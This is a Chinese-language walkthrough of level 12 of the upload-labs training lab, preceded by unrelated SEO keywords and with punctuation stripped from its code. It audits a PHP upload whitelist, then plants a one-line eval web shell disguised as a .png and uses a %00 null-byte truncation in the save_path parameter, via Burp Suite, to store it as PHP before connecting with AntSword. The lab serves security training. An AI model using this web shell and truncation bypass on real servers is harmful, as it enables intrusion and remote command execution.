成品网站价格表,怎么做一个购物网站,甘肃省水利建设工程项目网站,热搜榜百度upload-labs第十二关教程 一、源代码分析代码审计 二、绕过分析截断绕过magic_quotes_gpc函数介绍关闭magic_quotes_gpc上传eval.png文件使用burpsuite进行抓包修改放包#xff0c;查看是否上传成功使用中国蚁剑进行连接 一、源代码分析
代码审计
$is_upload false;
$msg … upload-labs第十二关教程 一、源代码分析代码审计 二、绕过分析截断绕过magic_quotes_gpc函数介绍关闭magic_quotes_gpc上传eval.png文件使用burpsuite进行抓包修改放包查看是否上传成功使用中国蚁剑进行连接 一、源代码分析
代码审计
$is_upload false;
$msg null;
if(isset($_POST[submit])){$ext_arr array(jpg,png,gif);$file_ext substr($_FILES[upload_file][name],strrpos($_FILES[upload_file][name],.)1);if(in_array($file_ext,$ext_arr)){$temp_file $_FILES[upload_file][tmp_name];$img_path $_GET[save_path]./.rand(10, 99).date(YmdHis)...$file_ext;if(move_uploaded_file($temp_file,$img_path)){$is_upload true;} else {$msg 上传出错;}} else{$msg 只允许上传.jpg|.png|.gif类型文件;}
}这里为get请求传递文件路径到服务器然后这里strrpos() 函数查找字符串在另一字符串中最后一次出现的位置,是后缀名白名单截取后缀名并随机命名拼接,然后还有对$_GET[‘save_path’]可控。
二、绕过分析
截断绕过
要求php版本5.3.29且magic_quotes_gpc Off修改php.ini文件将magic_quotes_gpc 设置为off
magic_quotes_gpc函数介绍
在PHP中作用是判断解析用户提示的数据包括post/get/cookie过来的数据增加转义字符\以确保这些数据不会引起程序出现致命错误。 在magic_quotes_gpcon的情况下如果输入数据有单引号/双引号/反斜线/null字符等都会被加上反斜线。
关闭magic_quotes_gpc
在php.ini文件内将magic_quotes_gpc改为Off
上传eval.png文件
? eval($_POST[cmd]); ?这里直接把eval.php改为eval.png就行了,因为这里没有请求头进行检测所以可以这样。
使用burpsuite进行抓包修改
由于对于save_path可控所以在这里进行截断操作。 修改之前 这里的save_path../upload/ 修改之后
这里的save_path../upload/eval.php%00
放包查看是否上传成功 上传成功。这里虽然显示的是上传的是图片其实是被截断。使用中国蚁剑时连接eval.php就行了。
使用中国蚁剑进行连接